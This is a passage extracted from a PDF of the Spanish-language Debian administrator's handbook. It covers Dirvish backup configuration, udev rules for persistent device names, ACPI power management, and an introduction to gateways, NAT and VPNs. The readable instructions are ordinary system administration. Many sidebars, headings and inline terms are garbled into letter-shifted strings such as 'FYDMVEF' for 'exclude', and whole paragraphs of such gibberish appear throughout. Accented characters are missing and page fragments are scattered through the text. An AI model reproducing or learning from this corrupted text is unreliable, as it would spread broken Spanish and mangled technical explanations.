exclude:
lost+found/
core
*~
Runall:
root
22:00
expire-default: +15 days
expire-rule:
#
MIN HR
DOM MON



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

DOW

&- BSDIJWP /etc/dirvish/master.conf

STRFTIME_FMT

*
*
*

*
*
*

*
*
1-7 *
1-7 1,4,7,10

1
1
1

+3 months
+1 year

La configuracin CBOL indica el directorio en el que se almacenarn los respaldos. La configuracin FYDMVEF le permite indicar archivos (o tipos de archivo) a excluir del respaldo. 3VOBMM es
una lista de conjuntos de archivos a respaldar con una marca temporal para cada conjunto, lo
que le permite asignar la fecha correcta la copia en caso que el respaldo no ejecute exactamente
en el momento programado. Debe indicar una hora justo antes del momento de ejecucin (las
22:04 de forma predeterminada en Debian, segn /etc/cron.d/dirvish). Finalmente, las configuraciones FYQJSFEFGBVMU y FYQJSFSVMF definen las polticas de expiracin para los respaldos.
El ejemplo anterior mantiene por siempre los respaldos generados el primer domingo de cada
trimestre, elimina despus de un ao aquellos realizados el primer domingo de cada mes y luego
de 3 meses aquellos realizados otros das domingo. Mantendr los dems respaldos diarios por
15 das. El orden de las reglas s importa, Dirvish utiliza la ltima regla que coincida o la directiva
FYQJSFEFGBVMU si ninguna lnea de FYQJSFSVMF coincide.
&/ -" 13$5*$"
&YQJSBDJO QSPHSBNBEB

dirvish-expire OP VUJMJ[B MBT SFHMBT EF FYQJSBDJO QBSB SFBMJ[BS TV USBCBKP &O

SFBMJEBE TF VUJMJ[BO MBT SFHMBT EF FYQJSBDJO DVBOEP TF DSFB VOB OVFWB DPQJB EF
SFTQBMEP QBSB EFGJOJS MB GFDIB EF FYQJSBDJO BTPDJBEB DPO EJDIB DPQJB dirvishexpire TJNQMFNFOUF FYBNJOB MBT DPQJBT BMNBDFOBEBT Z FMJNJOB BRVFMMBT DVZBT
GFDIBT EF FYQJSBDJO ZB QBTBSPO

&KFNQMP 

&M BSDIJWP /backup/root/dirvish/default.conf

client: rivendell.falcot.com
tree: /
xdev: 1
index: gzip
image-default: %Y %m %d
exclude:
/var/cache/apt/archives/*.deb
/var/cache/man/**
/tmp/**
/var/tmp/**
*.bak

El ejemplo anterior especifica el conjunto de archivos a respaldar: los archivos en la mquina


rivendell.falcot.com (para respaldos de datos locales, simplemente especifique el nombre local del
equipo segn indica hostname), especialmente aquellos en el rbol raz (USFF), excepto aquellos
enumerados en FYDMVEF. El respaldo estar limitado a los contenidos de un sistema de archivos
(YEFW). No incluir archivos de otros puntos de montaje. Generar un ndice de los archivos
almacenados (JOEFYH[JQ) y el nombre de la imagen estar basado en la fecha actual (JNBHF
EFGBVMU : N E).

$BQUVMP  4FSWJDJPT 6OJY



Existen muchas opciones disponibles, todas documentadas en la pgina de manual dirvish.


conf(5). Una vez que finaliz estos archivos de configuracin deben inicializar cada conjunto
de archivos ejecutando dirvish --vault bveda --init. Luego, la ejecucin dirvish-runall
automticamente generar una nueva copia de respaldo inmediatamente despus de eliminar
aquellas que hayan expirado.
&/ -" 13$5*$"
3FTQBMEPT SFNPUPT TPCSF
44)

$VBOEP EJSWJTI OFDFTJUB HVBSEBS EBUPT FO VOB NRVJOB SFNPUB VUJMJ[BS ssh
QBSB DPOFDUBSTF DPO FMMB F JOJDJBS rsync FO NPEP TFSWJEPS &TUP OFDFTJUB
RVF FM VTVBSJP SPPU QVFEB DPOFDUBSTF BVUPNUJDBNFOUF -BT MMBWFT EF BVUFO
UJDBDJO 44) QFSNJUFO FTUP FYBDUBNFOUF SFWJTF MB 4FDDJO  k"VUFOUJ
DBDJO CBTBEB FO MMBWFT{ QHJOB 


 3FTUBVSBDJO EF FRVJQPT TJO SFQBMEPT


Los equipos de escritorio, que no son respaldados, sern fciles de reinstalar desde DVD-ROMs
personalizados que fueron preparados con Simple-CDD (revise la Seccin 12.3.3, Simple-CDD: la
solucin todo-en-uno pgina 353). Dado que se realiza una instalacin desde cero, se pierden
todas las personalizaciones que pueden haberse realizado luego de la instalacin inicial. Esto
no es un problema ya que los sistemas estn conectados a un directorio LDAP central para las
cuentas de usuario y la mayora de las aplicaciones de escritorio son preconfiguradas gracias a
dconf (revise la Seccin 13.3.1, GNOME pgina 370 para ms informacin al respecto).
Los administradores de Falcot Corp estn al tanto de las limitaciones de sus polticas de respaldo.
Debido a que no pueden proteger el servidor de respaldo tan bien como una cinta en una caja
fuerte a prueba de fuego, lo instalaron en una habitacin separada para que desastres como
fuego en la sala de servidores no destruyan los respaldos junto con todo lo dems. Lo que es
ms, realizan un respaldo incremental en DVD-ROM una vez por semana slo se incluyen los
archivos que fueron modificados desde el ltimo respaldo.



:&/%0 .4 "--
3FTQBMEP EF TFSWJDJPT 42- Z
-%"1

.VDIPT TFSWJDJPT DPNP CBTFT EF EBUPT 42- Z -%"1


OP QVFEFO SFTQBMEBSTF
TJNQMFNFOUF DPQJBOEP TVT BSDIJWPT B NFOPT RVF TFBO JOUFSSVNQJEPT BQSPQJ
BEBNFOUF NJFOUSBT TF DSFBO FTUPT SFTQBMEPT MP RVF GSFDVFOUFNFOUF FT QSPC
MFNUJDP ZB RVF GVFSPO QFOTBEPT QBSB FTUBS EJTQPOJCMFT UPEP FM UJFNQP
 $PNP
UBM FT OFDFTBSJP VUJMJ[BS VO NFDBOJTNP EF kFYQPSUBDJO{ QBSB DSFBS VO kWPM
DBEP EF EBUPT{ RVF QVFEB TFS SFTQBMEBEP EF GPSNB TFHVSB (FOFSBMNFOUF TPO
BSDIJWPT HSBOEFT QFSP TF DPNQSJNFO GDJMNFOUF 1BSB SFEVDJS FM FTQBDJP EF
BMNBDFOBNJFOUP OFDFTBSJP TMP BMNBDFOBS VO BSDIJWP EF UFYUP DPNQMFUP QPS
TFNBOB Z EJGFSFODJBT diff
DBEB EB RVF QVFEF DSFBS VUJMJ[BOEP BMHP TJNJ
MBS B diff archivo_de_ayer archivo_de_hoy &M QSPHSBNB xdelta QSPEVDF
EJGFSFODJBT JODSFNFOUBMFT EF WPMDBEPT CJOBSJPT

$6-563"
5"3 FM FTUOEBS QBSB
SFTQBMEPT FO DJOUB

)JTUSJDBNFOUF MB GPSNB NT TFODJMMB EF SFBMJ[BS VO SFTQBMEP FO 6OJY FSB BM


NBDFOBS VO DPNQFOEJP 5"3 FO VOB DJOUB *ODMVTJWF FM QSPHSBNB tar PCUVWP
TV OPNCSF EF kDPNQFOEJP FO DJOUB{ k5BQF "3DIJWF{


&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 $POFYJO FO DBMJFOUF IPUQMVH


 *OUSPEVDDJO
El subsistema hotplug del ncleo administra dinmicamente el agregar y eliminar dispositivos
mediante la carga de los controladores apropiados y la creacin de los archivos de dispositivo
correspondientes (con la ayuda de udevd). Con el hardware moderno y la virtualizacin, casi todo puede ser conectado en caliente: desde los perifricos USB/PCMCIA/IEEE 1394 usuales hasta
discos duros SATA, pero tambin la CPU y la memoria.
El ncleo tiene una base de datos que asocia cada ID de dispositivo con el controlador necesario.
Se utiliza esta base de datos durante el inicio para cargar todos los controladores de los perifricos detectados en los diferentes canales, pero tambin cuando se conecta un dispositivo en
caliente. Una vez el dispositivo est listo para ser utilizado se enva un mensaje a udevd para
que pueda crear los elementos correspondientes en /dev/.

 &M QSPCMFNB EF OPNCSFT


Antes que existieran las conexiones en caliente, era sencillo asignar un nombre fijo a un dispositivo. Simplemente estaba basado en la posicin del dispositivo en su canal correspondiente.
Pero esto no es posible cuando dichos dispositivos puede aparecer y desaparecer del canal. El caso tpico es el uso de una cmara digital y una llave USB, ambos sern un disco para el equipo. El
primero en conectarse puede ser /dev/sdb y el segundo /dev/sdc (siempre que /dev/sda represente el disco duro del equipo en s). El nombre del dispositivo no es fijo, depende del orden
en el que se conecte los dispositivos.
Adems, ms y ms controladores utilizan valores dinmicos para los nmeros mayor/menor
de los dispositivos, lo que hace imposible tener elementos estticos para dichos dispositivos ya
que estas caractersticas esenciales puede cambiar luego de reiniciar el equipo.
Se cre udev precisamente para solucionar este problema.
&/ -" 13$5*$"
"ENJOJTUSBDJO EF UBSKFUBT
EF SFE

.VDIPT FRVJQPT QPTFFO NMUJQMFT UBSKFUBT EF SFE B WFDFT EPT JOUFSGBDFT DB
CMFBEBT Z VOB JOUFSGB[ JOBMNCSJDB
Z DPO MB NBZPSB EF MPT DBOBMFT DPNQBU
JCMFT DPO IPUQMVH FM ODMFP  ZB OP HBSBOUJ[B VO OPNCSF GJKP QBSB DBEB JO
UFSGB[ EF SFE a1FSP VO VTVBSJP RVF EFTFB DPOGJHVSBS TV SFE FO /etc/network/
interfaces OFDFTJUB VO OPNCSF GJKP
4FSB EJGDJM QFEJSMF B UPEPT MPT VTVBSJPT RVF DSFFO TVT QSPQJBT SFMHBT VEFW
QBSB FWJUBS FTUF QSPCMFNB &T QPS FTUP RVF TF DPOGJHVS VEFW EF VOB GPS
NB QBSUJDVMBS DVBOEP JOJDJB QPS QSJNFSB WF[ Z EF GPSNB NT HFOFSBM DBEB
WF[ RVF EFUFDUB VOB OVFWB UBSKFUB EF SFE
VUJMJ[B FM OPNCSF EF MB JOUFSGB[ EF
SFE Z TV EJSFDDJO ."$ QBSB DSFBS OVFWBT SFHMBT RVF MF BTJHOBSO FM NJTNP
OPNCSF DBEB WF[ RVF JOJDJF "MNBDFOB FTUBT SFHMBT FO /etc/udev/rules.d/
70-persistent-net.rules
&TUF NFDBOJTNP UJFOF VOPT FGFDUPT TFDVOEBSJPT RVF EFCFSB DPOPDFS $POTJE
FSFNPT FM DBTP EF VOB NRVJOB RVF TMP UJFOF VOB UBSKFUB EF SFE 1$* -HJ
DBNFOUF MB JOUFSGB[ EF SFE TF MMBNB eth0 %JHBNPT BIPSB RVF MB UBSKFUB EF
KB EF GVODJPOBS Z FM BENJOJTUSBEPS MB SFFNQMB[B MB OVFWB UBSKFUB UFOES VOB

$BQUVMP  4FSWJDJPT 6OJY



OVFWB EJSFDDJO ."$ %FCJEP B RVF FM OPNCSF eth0 GVF BTJHOBEP B MB UBS
KFUB BOUFSJPS B MB OVFWB TF MF BTJHOBS eth1 BVORVF eth0 OP BQBSFDFS OVO
DB NT Z MB SFE OP GVODJPOBS QPSRVF /etc/network/interfaces QSPCBCMF
NFOUF DPOGJHVSB MB JOUFSGB[ eth0
 &O FTUF DBTP CBTUB DPO CPSSBS FM BSDIJWP
/etc/udev/rules.d/70-persistent-net.rules BOUFT EF SFJOJDJBS FM FRVJQP
"T TF MF BTJHOBS FM OPNCSF FTQFSBEP eth0 B MB OVFWB UBSKFUB

 $NP GVODJPOB VEFW


Cuando el ncleo le informa a udev de la aparicin de un nuevo dispositivo, recolecta mucha
informacin sobre el dispositivo consultando los elementos correspondientes en /sys/; especialmente aquellos que lo identifican unvocamente (direccin MAC para una tarjeta de red,
nmero de serie para algunos dispositivos USB, etc.).
Con esta informacin, udev luego consulta todas las reglas en /etc/udev/rules.d y /lib/
udev/rules.d. En este proceso decide cmo nombrar al dispositivo, los enlaces simblicos que
crear (para darle nombres alternativos) y los programas que ejecutar. Se consultan todos estos
archivos y se evalan las reglas secuencialmente (excepto cuando un archivo utiliza la directiva
GOTO). Por lo tanto, puede haber varias reglas que correspondan a un evento dado.
La sintaxis de los archivos de reglas es bastante simple: cada fila contiene criterios de seleccin
y asignaciones de variables. El primero se utiliza para seleccionar los eventos ante los que reaccionar y el ltimo define las acciones a tomar. Se los separa simplemente con comas y el operador
implcitamente diferencia entre un criterio de seleccin (con operaciones de comparacin como
 o ) o una directiva de asignacin (con operadores como ,  o ).
Se utilizan los operadores de comparacin en las siguientes variables:

,&3/&-: el nombre que el ncleo le asigna al dispositivo;


"$5*0/: la accin que corresponde al evento (add cuando se agreg un dispositivo,
remove cuando fue eliminado);
%&71"5): la ruta al elemento del dispositivo en /sys/;
46#4:45&.: el subsistema del ncleo que gener el pedido (hay muchos, pero unos
pocos ejemplos son usb, ide, net, firmware, etc.);
"553\BUSJCVUP^: el contenido del archivo attribute en el directorio /sys/ruta_de_
dispositivo/ del dispositivo. Aqu es donde encontrar la direccin MAC y otros identificadores especficos del canal;
,&3/&-4, 46#4:45&.4 y "5534\BUSJCVUPT^ son variaciones que intentarn coincidir
las diferentes opciones en alguno de los dispositivos padre del dispositivo actual;
130(3".: delega la prueba al programa indicado (coincidir si devuelve 0, no lo har
de lo contrario). Se almacenar el contenido de la salida estndar del programa para que
pueda utilizarse en la prueba 3&46-5;
3&46-5: ejecuta pruebas en la salida estndar almacenada durante la ltima ejecucin
de una sentencia 130(3"..



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Los operadores correctos puede utilizar expresiones con patrones para que coincidan varios
valores simultneamente. Por ejemplo, coincide con cualquier cadena (inclusive una vaca);
coincide con cualquier carcter y <> coincide el conjunto de caracteres enumerados entre los
corchetes (lo opuesto si el primer carcter es un signo de exclamacin y puede indicar rangos
de caracteres de forma similar a B[).
En cuanto a los operadores de asignacin,  asigna un valor (y reemplaza el valor actual); en el
caso de una lista, es vaciada y slo contendr el valor asignado.  realiza lo mismo pero evita cambios futuros en la misma variable. Respecto a , agrega elementos a una lista. Puede
modificar las siguientes variables:

/".&: el nombre del archivo de dispositivo que se crear en


cuenta la primera asignacin, las dems son ignoradas;

/dev/.

Slo se tiene en

4:.-*/,: la lista de enlaces simblicos que apuntarn al mismo dispositivo;


08/&3, (3061 y .0%& definen el usuario y el grupo dueos del dispositivo as como
tambin los permisos asociados, respectivamente;
36/: la lista de programas a ejecutar en respuesta a este evento.
Los valores asignados a estas variables pueden utilizar algunas substituciones:

LFSOFM o L: equivalente a ,&3/&-;


OVNCFS o O: el nmero de orden del dispositivo; por ejemplo, para TEB sera 3;
EFWQBUI o Q: equivalente a %&71"5);
BUUS\BUSJCVUP^ o T\BUSJCVUP^: equivalentes a "5534\BUSJCVUP^;
NBKPS o .: el nmero mayor del dispositivo en el ncleo;
NJPS o N: el nmero menor del dispositivo en el ncleo;
SFTVMU o D: la cadena de salida del ltimo programa ejecutado por 130(3".;
finalmente,   y  para los signos de porcentaje y el smbolo de moneda respectivamente.
La lista anterior no est completa (slo incluye los parmetros ms importantes), pero la pgina
de manual udev(7) debera serlo.

 6O FKFNQMP DPODSFUP


Consideremos el caso de una simple llave USB e intentemos asignarle un nombre fijo. Primero
debe encontrar los elementos que la identificarn de manera unvoca. Para ello, conctela y
ejecuta udevadm info -a -n /dev/sdc (reemplazando /dev/sdc con el nombre real asignado
a la llave).
# udevadm info -a -n /dev/sdc
[...]
looking at device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/
target9:0:0/9:0:0:0/block/sdc':

$BQUVMP  4FSWJDJPT 6OJY



KERNEL=="sdc"
SUBSYSTEM=="block"
DRIVER==""
ATTR{range}=="16"
ATTR{ext_range}=="256"
ATTR{removable}=="1"
ATTR{ro}=="0"
ATTR{size}=="126976"
ATTR{alignment_offset}=="0"
ATTR{capability}=="53"
ATTR{stat}=="
51
100
1208
256
0
0
0

0
0
192
25
6"
ATTR{inflight}=="
0
0"
[...]
looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1
/1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0':
KERNELS=="9:0:0:0"
SUBSYSTEMS=="scsi"
DRIVERS=="sd"
ATTRS{device_blocked}=="0"
ATTRS{type}=="0"
ATTRS{scsi_level}=="3"
ATTRS{vendor}=="I0MEGA "
ATTRS{model}=="UMni64MB*IOM2C4 "
ATTRS{rev}=="
"
ATTRS{state}=="running"
[...]
ATTRS{max_sectors}=="240"
[...]
looking at parent device '/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2':
KERNELS=="9:0:0:0"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{configuration}=="iCfg"
ATTRS{bNumInterfaces}==" 1"
ATTRS{bConfigurationValue}=="1"
ATTRS{bmAttributes}=="80"
ATTRS{bMaxPower}=="100mA"
ATTRS{urbnum}=="398"
ATTRS{idVendor}=="4146"
ATTRS{idProduct}=="4146"
ATTRS{bcdDevice}=="0100"
[...]
ATTRS{manufacturer}=="USB Disk"
ATTRS{product}=="USB Mass Storage Device"
ATTRS{serial}=="M004021000001"
[...]



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Para crear una nueva regla, puede utilizar las pruebas en las variables del dispositivo as como
tambin en los dispositivos padre. El caso anterior le permite crear dos reglas como las siguientes:
KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="M004021000001", SYMLINK+="usb_key/
disk"
KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="M004021000001", SYMLINK+="
usb_key/part %n"

Una vez que haya guardado estas reglas en un archivo, llamado por ejemplo /etc/udev/rules.
d, puede desconectar y conectar la llave USB. Podr ver que /dev/usb_key/disk representa el
disco asociado con la llave USB y /dev/usb_key/part1 como su primera particin.
:&/%0 .4 "--
%FQVSBDJO EF MB
DPOGJHVSBDJO EF VEFW

"M JHVBM RVF NVDIPT EFNPOJPT udevd BMNBDFOB SFHJTUSPT FO /var/log/


daemon.log 1FSP OP FT NVZ EFTDSJQUJWP EF GPSNB QSFEFUFSNJOBEB Z HFO
FSBMNFOUF OP TPO TVGJDJFOUFT QBSB FOUFOEFS MP RVF FTU TVDFEJFOEP &KFDV
UBS udevadm control --log-priority=info BVNFOUB FM OJWFM EF JOGPSNBDJO
Z TPMVDJPOB FTUF QSPCMFNB udevadm control --log-priority=err WVFMWF BM
WBMPS QSFEFUFSNJOBEP

 (FTUJO EF FOFSHB JOUFSGB[ BWBO[BEB EF DPOGJHVSBDJO Z FOFSHB


"$1* k"EWBODFE $POGJHVSBUJPO BOE 1PXFS *OUFSGBDF

Usualmente, el tema de administracin de energa es problemtico. Suspender apropiadamente


un equipo necesita que todos los controladores de los dispositivos en l sepan cmo configurarlos en reposo y reconfigurarlos apropiadamente al despertar la mquina. Desafortunadamente,
an existen algunos dispositivos que no pueden suspender correctamente en Linux debido a que
sus fabricantes no proveen las especificaciones necesarias.
Linux es compatible con ACPI (interfaz avanzada de configuracin y energa: Advanced Configuration and Power Interface) el estndar ms reciente sobre gestin de energa. El paquete
acpid provee un demonio que busca eventos relacionados con la gestin de energa (cambios
entre corriente alterna y batera en un porttil, etc.) y puede ejecutar varios programas en respuesta.
$6-563"
(FTUJO BWBO[BEB EF FOFSHB
"1. k"EWBODFE 1PXFS
.BOBHFNFOU{

"1. HFTUJO BWBO[BEB EF FOFSHB k"EWBODFE 1PXFS .BOBHFNFOU{


FT FM
BODFTUSP EF "$1 FO FM NVOEP EF HFTUJO EF FOFSHB 4J CJFO %FCJBO UPEBWB
QSPWFF apmd MB DPOUSBQBSUF EF acpid QBSB FM FTUOEBS "1.
FM ODMFP %FCJBO
PGJDJBM ZB OP FT DPNQBUJCMF DPO "1. QPS MP RVF EFCFS FKFDVUBS VO ODMFP
QFSTPOBMJ[BEP TJ SFBMNFOUF MP OFDFTJUB FO BMHO FRVJQP BOUJHVP

$6*%"%0
5BSKFUBT HSGJDBT Z
TVTQFOTJO

&M DPOUSPMBEPS EF MB UBSKFUB EF WJEFP GSFDVFOUFNFOUF FT FM QSPCMFNB DVBOEP MB


TVTQFOTJO OP GVODJPOB DPSSFDUBNFOUF &O FTUPT DBTPT FT CVFOB JEFB QSPCBS
MB MUJNB WFSTJO EFM TFSWJEPS HSGJDP 9PSH

$BQUVMP  4FSWJDJPT 6OJY



Luego de esta revisin de los servicios bsicos comunes a muchos sistemas Unix, nos enfocaremos en el entorno de las mquinas administradas: la red. Se necesitan muchos servicios para
que la red funcione correctamente. Hablaremos de ellos en el prximo captulo.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

1BMBCSBT DMBWF
3FE
1VFSUB EF FOMBDF
5$1*1
*1W
%/4
#JOE
%)$1
2P4

$BQUVMP

*OGSBFTUSVDUVSB EF
SFE


$POUFOJEPT

1VFSUB EF FOMBDF 


&OSVUBNJFOUP EJONJDP 

*1W 

3FE WJSUVBM QSJWBEB 

$BMJEBE EFM TFSWJDJP 

4FSWJEPSFT EF OPNCSFT EF EPNJOJP %/4




%)$1 

)FSSBNJFOUBT EF EJBHOTUJDP EF SFE 

Linux goza de toda la herencia de Unix sobre redes, y Debian provee un conjunto
completo de herramientas para crear y administrarlas. Este captulo examina estas
herramientas.

 1VFSUB EF FOMBDF


Una puerta de enlace es un sistema que enlaza varias redes. Este trmino usualmente se refiere
al punto de salida de una red local en el camino obligatorio hacia las direcciones IP externas.
La puerta de enlace est conectada a cada una de las redes que enlaza y acta como router para
transmitir paquetes IP entre sus varias interfaces.
70-7&3 " -04
$*.*&/504
1BRVFUF *1

-B NBZPSB EF MBT SFEFT IPZ FO EB VUJMJ[BO FM QSPUPDPMP *1 QSPUPDPMP EF *O


UFSOFU k*OUFSOFU 1SPUPDPM
 &TUF QSPUPDPMP TFHNFOUB MPT EBUPT USBOTNJUJEPT FO
QBRVFUFT EF UBNBP MJNJUBEP $BEB QBRVFUF DPOUJFOF BEFNT EF TVT EBUPT
DPNP DBSHB UJM BMHVOPT EFUBMMFT OFDFTBSJPT QBSB FOSVUBSMPT BQSPQJBEBNFOUF

70-7&3 " -04


$*.*&/504
5$16%1

.VDIPT QSPHSBNBT OP HFTUJPOBO MPT QBRVFUFT JOEJWJEVBMFT QPS T NJTNPT


BVORVF MPT EBUPT RVF USBOTNJUFO WJBKBO QPS *1 HFOFSBMNFOUF VUJMJ[BO 5$1
QSPUPDPMP EF DPOUSPM EF USBOTNJTJO k5SBOTNJTTJPO $POUSPM 1SPUPDPM{
 5$1
FT VOB DBQB TPCSF *1 RVF QFSNJUF FTUBCMFDFS DPOFYJPOFT EFEJDBEBT B GMVKPT
EF EBUPT FOUSF EPT QVOUPT -PT QSPHSBNBT TMP WFO FOUPODFT VO QVOUP EF
FOUSBEB FO FM RVF QVFEFO WFSUFS EBUPT DPO MB HBSBOUB RVF MPT NJTNPT EBUPT
FYJTUJSO TJO QSEJEB Z FO FM NJTNP PSEFO
FO FM QVOUP EF TBMJEB FO FM PUSP
FYUSFNP EF MB DPOFYJO 4J CJFO QVFEFO PDVSSJS NVDIPT UJQPT EF FSSPSFT FO MBT
DBQBT JOGFSJPSFT 5$1 MPT DPNQFOTB SFUSBOTNJUF QBRVFUFT QFSEJEPT Z SFPSEF
OB BQSPQJBEBNFOUF MPT QBRVFUFT RVF MMFHVFO GVFSB EF PSEFO QPS FKFNQMP TJ
VUJMJ[BSPO DBNJOPT EJGFSFOUFT

0USP QSPUPDPMP TPCSF *1 FT 6%1 QSPUPDPMP EF EBUBHSBNBT EF VTVBSJP k6TFS
%BUBHSBN 1SPUPDPM
 " EJGFSFODJB EF 5$1 FTU PSJFOUBEP B QBRVFUFT 4VT PC
KFUJWPT TPO EJGFSFOUFT FM QSPQTJUP EF 6%1 TMP FT USBOTNJUJS VO QBRVFUF EF
VOB BQMJDBDJO B PUSB &M QSPUPDPMP OP JOUFOUB DPNQFOTBS MB QPTJCMF QSEJEB
EF QBRVFUFT FO FM DBNJOP BT DPNP UBNQPDP BTFHVSB RVF MPT QBRVFUFT TFBO
SFDJCJEPT FO FM NJTNP PSEFO FO FM RVF TF MPT FOWJ -B QSJODJQBM WFOUBKB EF
FTUF QSPUPDPMP FT RVF NFKPSB FOPSNFNFOUF MB MBUFODJB ZB RVF MB QSEJEB EF VO
QBRVFUF OP EFNPSB MB SFDFQDJO EF UPEPT MPT QBRVFUFT TJHVJFOUFT IBTUB RVF TF
SFUSBOTNJUB BRVM QFSEJEP
5BOUP 5$1 DPNP 6%1 JOWPMVDSBO QVFSUPT RVF TPO kONFSPT EF FYUFO
TJO{ QBSB FTUBCMFDFS DPNVOJDBDJPOFT DPO VOB BQMJDBDJO QBSUJDVMBS FO VOB
NRVJOB &TUF DPODFQUP QFSNJUF NBOUFOFS WBSJBT DPNVOJDBDJPOFT EJGFSFOUFT
FO QBSBMFMP DPO FM NJTNP DPSSFTQPOEJFOUF EFCJEP B RVF TF QVFEFO EJGFSFODJBS
FTUBT DPNVOJDBDJPOFT QPS FM ONFSP EF QVFSUP
"MHVOPT EF FTUPT ONFSPT EF QVFSUP FTUBOEBSJ[BEPT QPS *"/" BVUPSJEBE
EF ONFSPT BTJHOBEPT FO *OUFSOFU k*OUFSOFU "TTJHOFE /VNCFST "VUIPSJUZ{

TPO kNVZ DPOPDJEPT{ QPS FTUBS BTPDJBEPT DPO TFSWJDJPT EF SFE 1PS FKFNQMP
HFOFSBMNFOUF FM TFSWJEPS EF DPSSFP VUJMJ[B FM QVFSUP 5$1 
http://www.iana.org/assignments/port-numbers

Cuando una red local utiliza un rango de direcciones privadas (no enrutables en Internet), la
puerta de enlace necesita implementar enmascarado de direccin (address masquerading) para
que los equipos en la red puedan comunicarse con el mundo exterior. La operacin de enmascarado es un tipo de proxy que funciona a nivel de red: se reemplaza cada conexin saliente



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

de una mquina interna con una conexin desde la puerta de enlace misma (ya que la puerta
de enlace tiene una direccin externa y enrutable), los datos que pasan a travs de la conexin
enmascarada son enviados a la nueva conexin y los datos recibidos en respuesta son enviados
a travs de la conexin enmascarada a la mquina interna. La puerta de enlace utiliza un rango
de puertos TCP dedicados para este propsito, generalmente con nmeros muy altos (mayores
a 60000). Cada conexin que proviene de una mquina interna parece, para el mundo exterior,
una conexin que proviene de uno de esos puertos reservados.
$6-563"
3BOHP EF EJSFDDJPOFT
QSJWBEBT

&M 3'$  EFGJOF USFT SBOHPT EF EJSFDDJPOFT *1W RVF OP EFCFO TFS WJBCMFT
FO *OUFSOFU TJOP TMP VUJMJ[BEBT FO SFEFT MPDBMFT &M QSJNFSP 10.0.0.0/8 SF
WJTF FM SFDVBESP k $PODFQUPT EF SFE FTFODJBMFT &UIFSOFU EJSFDDJO *1 TVCSFE
EJGVTJO
{ QHJOB 
FT VO SBOHP DMBTF " DPO  EJSFDDJPOFT *1
 &M TFHVO
EP 172.16.0.0/12 SFOF  SBOHPT DMBTF # 172.16.0.0/16 B 172.31.0.0/

16
DBEB VOP EF MPT DVBMFT DPOUJFOF  EJSFDDJPOFT *1 'JOBMNFOUF 192.168.
0.0/16 FT VO SBOHP DMBTF # BHSVQBOEP  SBOHPT DMBTF $ 192.168.0.0/24 B
192.168.255.0/24 DPO  EJSFDDJPOFT *1 DBEB VOP

http://www.faqs.org/rfcs/rfc1918.html

La puerta de enlace tambin puede realizar dos tipos de traduccin de direcciones de red (Network
Address Translation o NAT). El primer tipo, NAT de destino (DNAT) es una tcnica para alterar la
direccin IP de destino (y/o el puerto TCP o UDP) para una conexin (generalmente) entrante.
El mecanismo de seguimiento de conexiones tambin altera los paquetes siguientes en la misma
conexin para asegurar continuidad en la comunicacin. El segundo tipo de NAT es NAT de origen
(SNAT), del que el enmascarado es un caso particular; SNAT modifica la direccin IP de origen
(y/o el puerto TCP o UDP) de una conexin (generalmente) saliente. En lo que respecta a DNAT,
todos los paquetes en la conexin son gestionados de forma apropiada por el mecanismo de
seguimiento de conexiones. Sepa que NAT slo es relevante para IPv4 y su espacio de direcciones
limitado; en IPv6, la amplia disponibilidad de direcciones reduce enormemente la utilidad de
NAT permitiendo que todas las direcciones internas sean enrutables directamente en Internet
(esto no implica que se pueda acceder a las mquinas internas ya que los firewalls intermedios
puede filtrar el trfico).
70-7&3 " -04
$*.*&/504
3FEJSFDDJO EF QVFSUPT

6OB BQMJDBDJO DPODSFUB EF %/"5 FT SFEJSFDDJO EF QVFSUPT kQPSU GPSXBSE


JOH{
 -BT DPOFYJPOFT FOUSBOUFT B VO QVFSUP EBEP EF VOB NRVJOB TPO SFEJ
SFDDJPOBEPT B VO QVFSUP FO PUSB NRVJOB 4JO FNCBSHP QVFEFO FYJTUJS PUSBT
TPMVDJPOFT QBSB DPOTFHVJS VO FGFDUP TJNJMBS FTQFDJBMNFOUF B OJWFM EF BQMJ
DBDJO DPO ssh SFWJTF MB 4FDDJO  k$SFBDJO EF UOFMFT DJGSBEPT DPO
SFEJSFDDJO EF QVFSUPT{ QHJOB 
P redir

Suficiente teora, pongmonos prcticos. Convertir un sistema Debian en una puerta de enlace
slo es cuestin de activar la opcin apropiada en el ncleo Linux a travs del sistema de archivos
virtual /proc/:
# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

$BQUVMP  * OGSBFTUSVDUVSB EF SFE



Tambin se puede activar esta opcin automticamente durante el inicio si /etc/sysctl.conf


define la opcin OFUJQWDPOGEFGBVMUGPSXBSEJOH como .
&KFNQMP 

&M BSDIJWP /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.tcp_syncookies = 1

Puede conseguir el mismo efecto para IPv6 simplemente reemplazando JQW con JQW en la orden
manual y utilizando la lnea OFUJQWDPOGBMMGPSXBSEJOH en /etc/sysctl.conf.
Activar enmascarado de IPv4 es una operacin un poco ms compleja que involucra configurar
el firewall netfilter.
De forma similar, utilizar NAT (para IPv4) necesita configurar netfilter. Debido a que el propsito
principal de este componente es filtrar paquetes, se enumeran los detalles en el Captulo14:
Seguridad (revise la Seccin 14.2, Firewall o el filtrado de paquetes pgina 388).

 3FE WJSUVBM QSJWBEB


Una red virtual privada (VPN: Virtual Private Network) es una forma de enlazar dos redes locales diferentes a travs de Internet utilizando un tnel; el tnel generalmente est cifrado para
confidencialidad. Usualmente se utilizan VPNs para integrar una mquina remota a la red local
de una empresa.
Muchas herramientas lo proveen. OpenVPN es una solucin eficiente, fcil de desplegar y mantener, basada en SSL/TLS. Otra posibilidad es utilizar IPsec para cifrar el trfico IP entre dos
mquinas; este cifrado es transparente, lo que significa que no necesita modificar las aplicaciones ejecutando en estos equipos para tener en cuenta la VPN. Tambin puede utilizar SSH,
